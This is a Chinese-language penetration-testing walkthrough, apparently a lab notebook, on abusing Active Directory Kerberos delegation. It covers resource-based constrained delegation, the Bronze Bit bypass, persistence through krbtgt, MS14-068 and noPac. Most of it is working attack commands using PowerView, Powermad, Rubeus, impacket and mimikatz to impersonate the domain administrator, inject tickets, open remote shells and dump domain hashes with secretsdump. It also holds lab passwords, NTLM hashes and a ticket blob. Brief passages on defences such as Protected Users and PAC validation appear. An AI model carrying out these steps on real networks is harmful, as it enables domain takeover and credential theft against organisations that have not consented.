查询域中配置了基于资源的约束性委派的服务账户
Adfind.exe -b ”DC=vvvv1,DC=com” -f “(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))” msDS-AllowedToActOnBehalfOfOtherIdentity
使用Adfind查询出来的msDS-AllowedToActOnBehalfOfOtherIdentity值用{Security Descriptor}代替,这个值包含允许被委派的服务账户或机器账户的SID
IdapSearch
利用ldapSearch过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性
查询域中配置了基于资源的约束性委派的主机
1 | ldapsearch -x -H ldap://10.10.10.10:389 -D “[admins@vvvv1.com](mailto:admins@vvvv1.com)“ -w User!@#45 -b “DC=vvvv1,DC=com” “(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))” | grep dn |
查询域中配置了基于资源的约束性委派的服务账户
1 | ldapsearch -x -H ldap://10.10.10.10:389 -D “[admins@vvvv1.com](mailto:admins@vvvv1.com)“ -w User!@#45 -b “DC=vvvv1,DC=com” “(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))” | grep dn |
基于资源的约束委派利用
步骤一
当前已经获取到域内一个用户权限VVVV1\WP
whoami /all
S-1-5-21-3315874494-179465980-3412869843-2607
或者使用PowerView工具
Get-DomainUser -Identity VVVV1\WP -Properties objectsid
导入PowerView.ps1
Powershell -ExecutionPolicy Bypass
Import-Module .\PowerView.ps1
查看用户VVVV1\WP的ACL权限
Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match “S-1-5-21-3315874494-179465980-3412869843-2607”} | select objectdn,activedirectoryrights
或者使用如下命令,查询VVVV1\WP对指定机器账户的ACL权限
Get-DomainObjectAcl -Identity PC-2016 | ?{$_.SecurityIdentifier -match “S-1-5-21-3315874494-179465980-3412869843-2607”}
不一定需要GenericAll权限,GenericWrite、WriteProperty、WriteDacl等等权限都可以修改账户属性。
步骤二
添加机器账户
如果已经获取到域内另一个机器账户的HASH,也可以跳过这一步骤。
使用工具PowerMad
Powershell -ExecutionPolicy Bypass
Import-Module .\Powermad.ps1
//New-MachineAccount -MachineAccount [username] -Password $(ConvertTo-SecureString “[userpassword]” -AsPlainText -Force)
New-MachineAccount -MachineAccount weipai -Password $(ConvertTo-SecureString “User!@#45” -AsPlainText -Force)
查询当前域内机器账户
net group “domain computers” /domain
查询机器账户的SID
使用PowerView脚本
Get-DomainComputer -Identity weipai | select objectsid
S-1-5-21-3315874494-179465980-3412869843-2609
在windows server2008以及2012版本中,可以使用系统自带的工具dsget和dsquery进行查询SID
dsquery computer | dsget computer -dn -sid
上传并导入该DLL
//Microsoft.ActiveDirectory.Management.dll
Import-Module .\Microsoft.ActiveDirectory.Management.dll
//Get-ADComputer [username]
Get-ADComputer weipai
步骤三
修改msDS-AllowedToActOnBehalfOfOtherIdentity
有两种方法可以修改msDS-AllowedToActOnBehalfOfOtherIdentity属性值
- Powerview
- ActiveDirectory模块
PowerView
配置weipai到PC-2016的基于资源的约束委派
Powershell -ExecutionPolicy Bypass
Import-Module .\PowerView.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList “O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3315874494-179465980-3412869843-2609)”
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer pc-2016| Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes} -Verbose
验证是否成功添加,如果有返回值,则证明成功添加属性
Get-DomainComputer pc-2016 -Properties msds-allowedtoactonbehalfofotheridentity
清除msds-allowedtoactonbehalfofotheridentity属性的值
Set-DomainObject pc-2016 -Clear ‘msds-allowedtoactonbehalfofotheridentity’ -Verbose
ActiveDirectory模块
只有Windows Server 2012以及以上的ActiveDirectory模块才有-PrincipalsAllowedToDelegateToAccount选项,且ActiveDirectory模块默认只在域控上安装,如果不是域控可以从域控上把DLL文件复制出来,然后导入powershell即可。
Powershell -ExecutionPolicy Bypass
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Set-ADComputer pc-2016 -PrincipalsAllowedToDelegateToAccount weipai$
Get-ADComputer pc-2016 -Properties PrincipalsAllowedToDelegateToAccount
步骤四
注入票据获取权限
Rubeus
因为Rubeus是不支持明文的,所以先把它转换为hash
Rubeus.exe hash /user:weipai /password:User!@#45 /domain:vvvv1.com
//0EC4B410903C6DC7594464F27D347497
Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:cifs/pc-2016.vvvv1.com /ptt
//注意,使用工具Rubeus注入票据时,目标主机名与之后认证的时候的主机名需要一致
//比如这里是cifs/pc-2016.vvvv1.com,之后dir就需要用pc-2016.vvvv1.com
//如果这里是cifs/pc-2016,之后dir就需要用pc-2016,否则就会拒绝访问
也可以直接使用psexec连接
PsExec64.exe \pc-2016.vvvv1.com cmd.exe
注意,这里获得的权限其实是本地的管理员权限,并没有访问域内资源的权限。
impacket工具包
python getST.py -dc-ip 10.10.10.10 -spn cifs/pc-2016.vvvv1.com -impersonate administrator vvvv1.com/weipai$:User!@#45
set KRB5CCNAME=C:\Users\WP\Desktop\administrator.ccache
python psexec.py -no-pass -k pc-2016.vvvv1.com -dc-ip 10.10.10.10 -codec gbk
总结
- 基于资源的约束委派是普通约束委派的反向,不需要域控来进行指定,只需要拥有一个可以修改属性的域内账户即可(域管理员账户、机器账户自身和创建机器账户的用户拥有该权限);
- 基于资源的约束委派获得的是对方的本地管理员权限,或者system权限,因此多数情况下,基于资源的约束委派可以用来本地提权操作,只需要拥有一个可以修改当前机器属性的域内账户即可;
用户不可委派
在域环境中,高权限用户如果没有特殊需求的情况下,考虑到安全性一般是设置为不可委派,或者是加入受保护组。
加载ActiveDirectory模块(需要在登录域内账户)
1
2
3 Powershell -ExecutionPolicy Bypass
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Get-ADUser administrator -Properties AccountNotDelegated, Memberof
Rubeus.exe s4u /user:PC-2016$ /rc4:cf6fd40df4e9a1326279ae803382628a /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/PC-2016.vvvv1.com /ptt
这时候我们在通过s4u去申请一下票据,这个时候S4U2self是成功的,但是S4U2proxy是失败的。
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
也就是说账户不可委派以及受保护组的成员是不影响S4U2Self的,可以使用Rubeus describe查看一下S4U2self返回的票据信息,可以看到该票据是没有服务名称的,并且不可转发。
首先,我们可以知道,在我们配置委派的时候,有两种方式
1)仅使用Kerberos
配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样,但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
(2)使用任何身份验证协议
- 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312,并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
从上文的链接中,我们可以了解到,当帐户设置了 TrustedToAuthForDelegation 标志(也称为“协议转换”)时,这种基于资源的反射约束委派相当于 S4U2Self,因为它允许帐户代表用户为自己获取可转发的 TGS。但是,如果帐户配置为具有“仅 Kerberos”的经典约束委派(未设置 TrustedToAuthForDelegation 并且 msDS-AllowedToDelegateTo 不为空),则经典条件优先于基于资源的条件,因此 S4U2Self 会以非-可转发的 TGS 和 S4U2Proxy 失败。
因此,我们必须要配置任何身份验证才可以进行委派。
详情看上文链接文章的这一节:A Misunderstood Feature #1
查看票据详情,发现服务名称是缺失的。
1 | Rubeus.exe describe /ticket:ticket.kirbi |
我们可以修改从S4U2Self获取的TGS上的SPN,并将其变成有效的。
https://xz.aliyun.com/t/7454#toc-2
Rubeus
在Rebeus加入了一个模块可以直接修改票据的SPN,把base64字符串复制下来后,存放到ticket.kribi文件中,由于被base64加密,所以要解密,解密过后可以直接使用Rubeus直接替换里面的内容,这里我们使用python对字符串进行处理。
1 | data ='' |
1 | Rubeus.exe tgssub /ticket:ticket.kirbi /altservice:cifs/pc-2016.vvvv1.com /ptt//或者直接使用字符串进行修改 |
1 | Rubeus.exe tgssub /ticket:BASE64 /altservice:cifs/pc-2016.vvvv1.com /ptt |
1 | Rubeus.exe describe /ticket:ticket.kirbi |
ASN.1 Editor
修改下图这两处地方即可。
总结
对于用户不可委派的实际应用场景,经过测试,实际上范围十分小。
因为在这一过程中,我们修改的是从S4U2Self获取的ST上的,那么就意味着,在委派的过程中,我们只能利用一台机器账户的HASH,来委派这一台机器本身的服务。如果是一台机器来委派另一台机器的服务,那么我们修改的ST是来自第一台机器的自身可以转发的ST,即使修改了也是只能获取到该机器的服务,并不能获取到第二台机器的服务。
1 | //通过一台机器账户的HASH,来委派这一台机器本身的服务 |
而且由于上文所指的只有设置了 TrustedToAuthForDelegation 标志才能进行委派,而默认情况下的非约束委派是不会配置这个标志位的,因此通过机器账户的HASH来获取对应机器的服务必须是在约束委派的前提下进行。
那么我们想要进行约束委派,也需要在域控进行设置,因此该功能比较鸡肋,当然,如果遇到对应情况,就可以利用机器账户来获取到其他的权限。
当然,这些能否使用S4Uproxy都是取决于是否转发到另一个机器,如果是获取到了某个机器账号的HASH,只是用来获取该机器的服务,不转发到其他的机器,则上文中的修改其服务名则可以成功使票据变得可以使用。(也就是说,只要是获得了某个机器账户的HASH,且该系统已经支持S4U,则可以通过S4U来获取其本地的其他服务的权限,例如CIFS。即使该机器没有设置委派也可以成功。)
至于为什么可以公告修改服务吗来使票据变得可用?
因为在进行约束委派的流程中,第二部是获取到自身服务的ST(见下图),由于工具集成了三个步骤,因此第二个步骤的服务名因为需要被第三步进行使用,因此一般服务名为该机器的名称,例如AD-2016$。但是实际上我们可以将该名称替换成该机器的任意本地服务的名称,这样该票据也就可以成功被使用。(也就是说,如果是利用某个机器账户的HASH来获取该机器的服务,就是将下图中的步骤拆开,只进行1、2步骤)。
CVE-2020-17049 Kerberos Bronze Bit攻击
https://www.freebuf.com/vuls/258430.html
https://cloud.tencent.com/developer/article/1761060
https://cloud.tencent.com/developer/article/1808279
假设攻击者已经获得了Service1的密码hash值,且Service1和Service2之间存在委派信任关系(Service1配置为对Service2的约束委派或Service2接受来自Service1的基于资源约束的委派)。如果Service1允许进行协议转换(配置了TrustedToAuthForDelegation属性),就可以利用impacket套件中的GetST.py脚本来获得指定身份的Service2的服务票据ST2。
利用服务票据ST2,攻击者就能伪造成目标用户与Service2进行交互。
由于委派攻击的危害性,因此微软官方提供了多种配置来降低委派攻击的危害。首先可以通过禁止协议转换(即关闭TrustedToAuthForDelegation属性)。
其次是可以在AD中配置高权限域内账户为“敏感账户,不能被委派”。
最后还可以将域内账户添加到 “Protected Users”安全组内。
将域内账户添加到 “Protected Users”安全组内时,会对用户进行限制
- 密码更改频率限制:这些账户的密码更改频率将增加,以减少密码被暴力破解或猜测攻击的风险。
- 密码历史限制:禁止重复使用之前使用过的密码,以防止密码的持久性攻击。
- 强制 Kerberos 加密类型:只允许使用最安全的 Kerberos 加密类型进行身份验证,以减少中间人攻击的风险。
- 强制域控制器进行 Kerberos 预身份验证:要求域控制器在 Kerberos 身份验证之前对账户进行预身份验证,以防止票据伪造攻击。
- 强制用户会话进行加密:要求用户会话使用加密传输数据,以防止信息泄露和中间人攻击。
如果某域内账户设置了上述配置至少一个,那么为该域内账户申请服务票据时,该服务票据的“ForWardable”将始终设置为0。即Service1仍然能通过S4U2self 协议获取该域内账户的服务票据ST1,但由于该服务票据ST1的ForWardable标志位0,那么就不能在S4U2 proxy中使用该服务票据ST1获取其他服务票据。
观察上图,可以发现在ST1是使用Service1密匙进行加密的。这意味着Service1可以解密ST1后修改forwardable值,然后重新使用Service1密匙进加密后发送给KDC ,forwardable标志不在PAC中,所以KDC无法检测到该值是否已经被篡改。
绕过限制后,攻击者就可以模拟目标用户与Service2进行交互。
漏洞利用
首先配置administrator账户为敏感账户,不可委派,且加入了Protected Users安全组。
配置委派的服务一为仅使用kerberos认证。
获取到服务一的HASH
1 | WSUS-PC$ 5d0a673b5f338a159c260fa7b8bc99ec |
利用工具进行委派攻击
1 | python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec |
发现无法生成对应票据。
添加-force-forwardable参数即可成功。
1 | python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec -force-forwardable |
1 | set KRB5CCNAME=C:\Users\Administrator\Desktop\administrator.ccache |
或者使用mimikatz将票据注入内存
1 | kerberos::ptc administrator.ccache |
使用委派进行权限维持
使用约束委派进行权限维持
TGT由krbtgt Hash加密,如果能通过委派krbtgt服务,那么就能伪造任意用户的TGT了。
由于krbtgt默认是禁用的,所以无法使用页面添加它的SPN。
域控通过powershell添加账户到krbtgt的约束委派。
1 | powershell -exec bypass |
利用impacket套件攻击
伪造administrator的TGT
python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WP:User!@#45
python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec
导入票据
export KRB5CCNAME=administrator.ccache
用wmiexec弹出一个权限为administrator交互式的shell
python wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 10.10.10.10
导出域内哈希
python secretsdump.py -no-pass -k WIN-KONG.hiro.com
使用基于资源的约束委派进行权限维持
与约束委派的权限维持类似,我们可以配置某个服务账户到krbtgt的基于资源的约束委派,只要有了修改krbtgt的权限,就能伪造任意用户请求krbtgt服务,则可以请求到任意用户的TGT。
使用PowerView工具
S-1-5-21-3315874494-179465980-3412869843-502
使用AdFind查找可以修改krbtgt账户属性的账户
AdFind.exe -b CN=krbtgt,CN=Users,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;”WRT PROP”;;;
在域控上执行:
1 | //SID为weipai$的SID |
验证是否成功添加,如果有返回值,则证明成功添加属性
1 | Get-DomainComputer krbtgt -Properties msds-allowedtoactonbehalfofotheridentity |
清除msds-allowedtoactonbehalfofotheridentity属性的值
1 | Set-DomainObject krbtgt -Clear ‘msds-allowedtoactonbehalfofotheridentity’ -Verbose |
rubeus
使用rubeus伪造administrator请求TGT
1 | Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:krbtgt /ptt |
impacket工具包
使用impacket工具包也可以实现
python getST.py -dc-ip 10.10.10.10 -spn krbtgt -impersonate administrator vvvv1.com/weipai$:User!@#45
set KRB5CCNAME=administrator.ccache
python wmiexec.py -no-pass -k administrator@ad-2016.vvvv1.com -dc-ip 10.10.10.10
PAC攻击
https://blog.csdn.net/shuteer_xu/article/details/129253005
PAC (Privilege Attribute Certificate,特权属性证书),其中所包含的是各种授权信息、附加凭据信息、配置文件和策略信息等。例如用户所属的用户组, 用户所具有的权限等。在最初的RFC1510中规定的标准Kerberos认证过程中并没有PAC,微软在自己的产品中所实现的Kerberos流程加入了PAC的概念,因为在域中不同权限的用户能够访问的资源是不同的,因此微软设计PAC用来辨别用户身份和权限。
在一个正常的Kerberos认证流程中,KDC返回的TGT认购权证和ST服务票据中都是带有PAC的。这样做的好处就是在以后对资源的访问中, 服务端再接收到客户请求的时候不再需要借助KDC的帮助提供完整的授权信息来完成对用户权限的判断, 而只需要根据请求中所包含的PAC信息直接与本地资源的ACL相比较做出裁决。
PAC中包含两个数字签名:PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。PAC_SERVER_CHECKSUM是使用服务密钥进行签名,而PAC_PRIVSVR_CHECKSUM是使用KDC密钥进行签名。签名有两个原因。首先,存在带有服务密钥的签名,以验证此PAC由服务进行了签名。其次,带有KDC密钥的签名是为了防止不受信任的服务用无效的PAC为自己伪造票据。
这两个签名分别以PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM类型的PAC_INFO_BUFFER发送。在PAC数据用于访问控制之前,必须检查PAC_SERVER_CHECKSUM签名。这将验证客户端是否知道服务的密钥。而PAC_PRIVSVR_CHECKSUM签名的验证是可选的,默认不开启。它用于验证PAC是否由KDC签发,而不是由KDC以外的具有访问服务密钥的人放入票据中。
PAC中是有两个签名的:PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。一个是使用服务密钥(PAC_SERVER_CHECKSUM)进行签名,另一个使用KDC密钥(PAC_PRIVSVR_CHECKSUM)进行签名。当服务端收到客户端发来的AP-REQ消息时,只能校验PAC_SERVER_CHECKSUM签名,而并不能校验PAC_PRIVSVR_CHECKSUM签名。因此,正常来说如果需要校验PAC_PRIVSVR_CHECKSUM签名的话,服务端还需要将客户端发来的ST服务票据中的PAC签名发给KDC进行校验。
但是,由于大部分服务**默认并没有KDC验证PAC这一步(需要将目标服务主机配置为验证KDC PAC签名,默认未开启)**,因此服务端就无需将ST服务票据中的PAC签名发给KDC校验了,只需要在本地与ACL进行对比验证即可。这也是白银票据攻击能成功的前提,因为如果配置了需要验证PAC_PRIVSVR_CHECKSUM签名的话,服务端会将这个PAC的数字签名以KRB_VERIFY_PAC的消息通过RPC协议发送给KDC,KDC再将验证这个PAC的数字签名的结果以RPC返回码的形式发送给服务端,服务端就可以根据这个返回结果判断PAC的真实性和有效性了。 因此如果目标服务主机配置了要校验PAC_PRIVSVR_CHECKSUM签名的话,就算攻击者拥有服务密钥,可以制作ST服务票据,也不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名,自然就无法通过KDC的签名校验了。
根据微软官方文档的描述,若要开启KDC校验PAC,需要有以下条件:
- 应用程序具有SeTcbPrivilege权限。SeTcbPrivilege权限允许为用户帐户分配“作为操作系统的一部分”。本地系统、网络服务和本地服务帐户都是由windows定义的服务用户帐户。每个帐户都有一组特定的特权。
- 应用程序是一个服务,验证KDC PAC签名的注册表项被设置为1,默认为0。修改方法如下:
- 启动注册表编辑器regedit.exe
- 找到以下子键:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
- 添加一个ValidateKdcPacSignature的键值(DWORD类型)。该值为0时,不会进行KDC PAC校验。该值为1时,会进行KDC PAC校验。因此可以将该值设置为1启用KDC PAC校验。
对于验证KDC PAC签名这个注册表键值,有以下几点注意事项:
- 如果服务端并非一个服务程序,而是一个普通应用程序,它将不受以上注册表的影响,而总是进行KDC PAC校验。
- 如果服务端并非一个程序,而是一个驱动,其认证过程在系统内核内完成,它将不受以上注册表的影响,而永不进行PAC校验。
- 使用以上注册表项,需要在Windows Server 2003 SP2或更新的操作系统。
- 在运行Windows Server 2008或更新操作系统的服务器上,该注册表项的值缺省为0(默认没有该ValidateKdcPacSignature键值),也就是不进行KDC PAC校验。
注:需要说明的是,注册在本地系统帐户下的服务无论如何配置,都不会触发KDC验证PAC签名。也就是说譬如SMB、CIFS、HOST等服务无论如何都不会触发KDC验证PAC签名。(如果是LDAP服务,则是注册在域内的服务)
因此,如果配置了KDC检验PAC的话,即使拥有服务密钥,生成了服务ST,也无法利用白银票据进行攻击,因为不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名,也就无法通过KDC的签名校验了。
MS14-068
MS14-068漏洞的原因是KDC无法正确检查PAC中的有效签名,由于其实现签名的加密允许所有的签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证,因此可以利用不需要相关密钥的算法,如MD5,实现内容的任意更改,导致用户可以自己构造一张PAC,伪造用户的SID和所在的组,那么可以通过伪造PAC,加入域管相关信息,访问域控服务,KDC会认为当前用户有权限,从而把这个用户当作域管组的成员,进而达到提升为域管理员的效果。
使用该漏洞系统需未打MS14-068的补丁(KB3011780),系统在windows server 2008及以下。
使用MS14-068的先决条件:
- 域内任意⽤户 SID
- 域内任意⽤户密码
使用MS14-068.exe
man1 0ec4b410903c6dc7594464f27d347497
man1 S-1-5-21-3315874494-179465980-3412869843-1110
MS14-068.exe -u man1@vvvv1.com -p User!@#45 -s S-1-5-21-3315874494-179465980-3412869843-1110 -d 10.10.10.10
//使用mimikatz导入票据文件
kerberos::ptc TGT_man1@vvvv1.com.ccache
使用GoldenPac.py
python goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.10 vvvv1.com/man1:User!@#45@ad-2016.vvvv1.com
使用Kekeo.exe
kekeo.exe “exploit::ms14068 /domain:vvvv1.com /user:man1 /password:User!@#45 /ptt” “exit”
CVE-2021-42287&CVE-2021-42278(NoPac)
https://www.freebuf.com/vuls/317773.html
https://blog.csdn.net/weixin_44747030/article/details/127158385
CVE-2021-42278是一个安全绕过漏洞,允许通过修改机器账户的sAMAccountName属性来冒充域控。与标准用户账户相比,机器账户的名称末尾附带了一个“$”符号,但是实际中,AD并没有验证域内机器账户中是否具有“$”,导致机器账户可以被假冒。
sAMAccountName(Security Account Manager Account Name)是Microsoft Windows中的一个属性,用于标识和表示用户和计算机账户。sAMAccountName是Active Directory(AD)中的一项属性,也适用于Windows Server域环境。
sAMAccountName属性用于在域内唯一标识用户和计算机账户。对于用户账户,sAMAccountName通常是用户的登录名,例如”johnsmith”。
sAMAccountName属性主要用于内部引用和标识用户和计算机账户,它不包含完整的用户或计算机名称,而只是一个唯一的标识符。要获取完整的用户或计算机账户名称,可以使用其他属性,如User Principal Name(UPN)或Distinguished Name(DN)。
CVE-2021-42287是一个影响Kerberos特权属性证书(PAC)的安全绕过漏洞,允许通过假冒域控,使密钥分发中心(KDC)创建高权限票据。
根据认证Kerberos协议,在请求服务票证前需要先签发TGT(票据授权凭证)。但是,当为活动目录中不存在的账户请求服务票证时,密钥分发中心(KDC)将在该账户名上附加“$”符合进行搜索。这一行为与CVE-2021-42278结合,测试人员可以实现域内权限提升。
大致流程如下:
- 当前已经拿下域内一台普通权限机器;
- 创建一个机器账户,假定为NOPAC1;
- 清除机器账户NOPAC1的servicePrincipalName属性;
- 修改机器账户NOPAC1的sAMAccountName属性,使其指向不带“$”符合的域控账户,相当于将该机器账户改名,如果域控名称为AD-2016$,就将该机器账户名称修改成AD-2016;
- 利用改名后的账户AD-2016请求TGT;
- 将新建的机器账户的sAMAccountName属性,使其恢复其原初始值(NOPAC1)或其他任意值即可;
- 利用S4U代表域管理员请求对应服务的服务票据(ST);
- 伪造域管理员账户获得相应服务的ST;
为什么要清除机器账户NOPAC1的servicePrincipalName属性?
servicePrincipalName属性存储了该账户所注册的服务主体名称(SPN)。
在修改sAMAccountName值时,servicePrincipalName的值与sAMAccountName的值相关联,servicePrincipalName将使用新值自动更新。该漏洞利用时,会将sAMAccountName的值改成AD-2016,那么servicePrincipalName将试图更新AD-2016的SPN,而该SPN已经被域控所独占,那么就会引发报错。所以在修改机器账户的sAMAccountName属性前,需要将其servicePrincipalName属性清除。
为什么要使用S4U进行请求ST?
在S4U请求中,在KDC解析TGT的用户信息时,因为AD-2016不存在,因此会在后面添加“$”进行查找,也就是域控的机器账户。此时,该TGT被KDC认定为是域控机器账户的TGT,然后进行S4u2Self请求,伪造任意用户访问域控自身的服务,例如administrator用户,然后重新生成对应的PAC又写入ST中。(利用域控机器TGT可以通过S4u2Self生成与自己有关的所有服务ST,但是是否能使用该ST,取决于PAC中伪造的用户权限)
KDC收到TGT认购权证后,利用krbtgt密钥对其解密,然后取出PAC。然后验证PAC的签名,如果签名正确,则证明PAC未经过篡改。然后将TGT认购权证中的PAC直接拷贝到ST服务票据中。也就是说,ST服务票据中的PAC和TGT认购权证中的PAC是一致的。如果TGT认购权证中没有PAC的话,KDC在拷贝PAC的时候,也是拷贝的空的,这就意味着ST服务票据中也没有PAC。因此,需要使用S4u2Self重新生成PAC进行利用。
对于无论用户有没有访问服务的权限,只要TGT正确,就会返回ST,该ST为何无法利用?
利用S4u2Self只能伪造高权限用户生成与当前机器有关的服务ST,在生成ST的过程中并将高权限PAC写入ST,使得该ST可以被转发使用。但是实际上PAC是无法修改的,对于低权限用户生成的访问某些服务的ST,即使TGT正确,生成的ST由于其中的PAC权限过低,导致无法使用。
具体过程
使用工具Powermad,添加名为NOPAC2$,密码为User!@#45的机器账户。
powershell -exec bypass
Import-Module .\Powermad.ps1
$password = ConvertTo-SecureString ‘User!@#45’ -AsPlainText -Force
New-MachineAccount -MachineAccount “NOPAC2” -Password $($password) -Domain “vvvv1.com” -DomainController “ad-2016.vvvv1.com” -Verbose
如下图所示添加成功。
使用工具PowerView,清除机器账户NOPAC2$的service-PrincipalName属性
Import-Module .\PowerView.ps1
Set-DomainObject “CN=NOPAC2,CN=Computers,DC=vvvv1,DC=com” -Clear ‘serviceprincipalname’ -Verbose
使用ADExplorer查看机器账户属性,发现已经删除service-PrincipalName属性
修改机器账户的sAMAccountName属性,使其指向不带”$”符号的域控机器账户。
Set-MachineAccountAttribute -MachineAccount “NOPAC2” -Value “AD-2016” -Attribute “samaccountname” -Verbose
使用工具Rubeus工具为账户AD-2016请求TGT。
Rubeus.exe asktgt /user:”ad-2016” /password:”User!@#45” /domian:”vvvv1.com” /dc:”ad-2016.vvvv1.com” /nowrap
获取到TGT后,恢复原机器名,或修改成其他任意机器名。
1 | Set-MachineAccountAttribute -MachineAccount “NOPAC2” -Value “NOPAC2$” -Attribute samaccountname -Verbose |
1 | Rubeus.exe s4u /self /impersonateuser:”Administrator” /altservice:”cifs/AD-2016.vvvv1.com” /dc:”AD-2016.vvvv1.com” /ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID9TCCA/FhggPtMIID6aADAgEFoQsbCVZWVlYxLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29to4IDszCCA6+gAwIBEqEDAgECooIDoQSCA50gPYZQmCqJTBvQ0DalEvZRoszQULoN8jmphV2L2h77Iz91/s5p5AM9lszINs0hTdC9e3hnhJTk+qPHwe/eqqAX7nmUy4AsojmEQkutV4UuFsBM/c/ppQmXP3lD5xsJTUfBqSkcwl7RHFqo+Z1uZpHzfLv6YMP6UMHK8lD8A6MEu33SU7Tda1rVPa2P3QRPgGay2wVP9wtYtjmU3/Mj5CKey+fHlJHCNwSGHWU5FCvFwp7WMQ02L8tFxJKeOq3+RX7iIauOFxjYCCGG+IklHIdPuPiIC8HKzlF1E8jJh97tYoRuw/DvejtJ4TlcATmJKqb/baGngQiwOs4TRs26B+uPwkj9lMdbQJuxUxlBEJkuJtyozoAk9/LjIwwvIhaA6yhv8uVKSYQkslnCIrWuRR4Y82wCIjCNVwyBhhTOAbR1LfzI0yXnwbky232ptnPf0ahZi33wIh3lnZ1bU6mG6Pu/9lDLVyIfrVKIg5zqdmMU+vyCVjAJrhqxEQomQ4+QRZmrLKFpAxe7Bbv7iBUMVA4N5qbv0PB16Hh4g0cNqKPNVmKnuRsjO8xMpW4XlHc1Dn6mAJgkEqNvio3fxvzlWCvzjDTttdGyH8UMNwL7m2qHFaMSm4QEWQIJP8NNgCYIH4aqLmQlzXvou4L7BFxOcfXdhYWsZJACnGATFdm42roIwo1dLHWER5oQBPktrhdau8QCduPB7kcdrJxR9avKlfqO7xvhI1qlVANunMpgs75NVwgLa0wzMwe7fy0QFPMYVfH4TTjGuhPRMVGnKrcEmGI+ze3Y0c1m0XpqiwzR1YGAwNuIQTfGAimO0rG1uLdVNapWbQv/v55EzRldCoKvR/eGZhpf8SvjYwqSXXttWaPOrwFFdLej2LqpT2vStkLNzC4grCvF73if2WTHxm/UykDLF4trlxt7LTxf1cD18HYavkB6E3uN8PTWIJ4VkRWzfowrSvpoBUWTY52We3Fj7ACJ64T2xAPp6rChXUyd9w0KcVbtUGxbrpb0mql06FoMfjPpKS5ySPDDRwfO6rnP39ABejIzRB1Q9qZYhaYzedQ64BSuz/C5psjfGg/jummxwgec9dWcmEhRMB6UWkOFN+PI1R0mJLTJKVK88zb682knMlp2uqevLerZzTQn8CRQ6N0wZ1qekX+EgMpm0wOtGyGmarUAibFaAijg/TOhnJ7Qn/1bFXbfAeu0Ox77wYFi6ST1Xri659p4zdNh3Au2o4HMMIHJoAMCAQCigcEEgb59gbswgbiggbUwgbIwga+gGzAZoAMCARehEgQQH3LWAD2770rKZvl9IskRnqELGwlWVlZWMS5DT02iFDASoAMCAQGhCzAJGwdhZC0yMDE2owcDBQBA4QAApREYDzIwMjMwOTA1MDgyNjMwWqYRGA8yMDIzMDkwNTE4MjYzMFqnERgPMjAyMzA5MTIwODI2MzBaqAsbCVZWVlYxLkNPTakeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29t |
验证成功。
另外其他工具的方法可以参考如下链接。
https://blog.csdn.net/weixin_44747030/article/details/127158385
使用noPac.exe
将编译好的noPac.exe上传到普通域用户 的主机,执行以下命令,创建一个名为NOPAC1的机器账户,获得一个针对域控的CIFS服务的票据,并将该票据传递到内存中。
noPac.exe -domain vvvv1.com -user man1 -pass User!@#45 /dc ad-2016.vvvv1.com /mAccount NOPAC1 /mPassword User!@#45 /service cifs /ptt
注意,如果该机器账户名已存在,则会报错。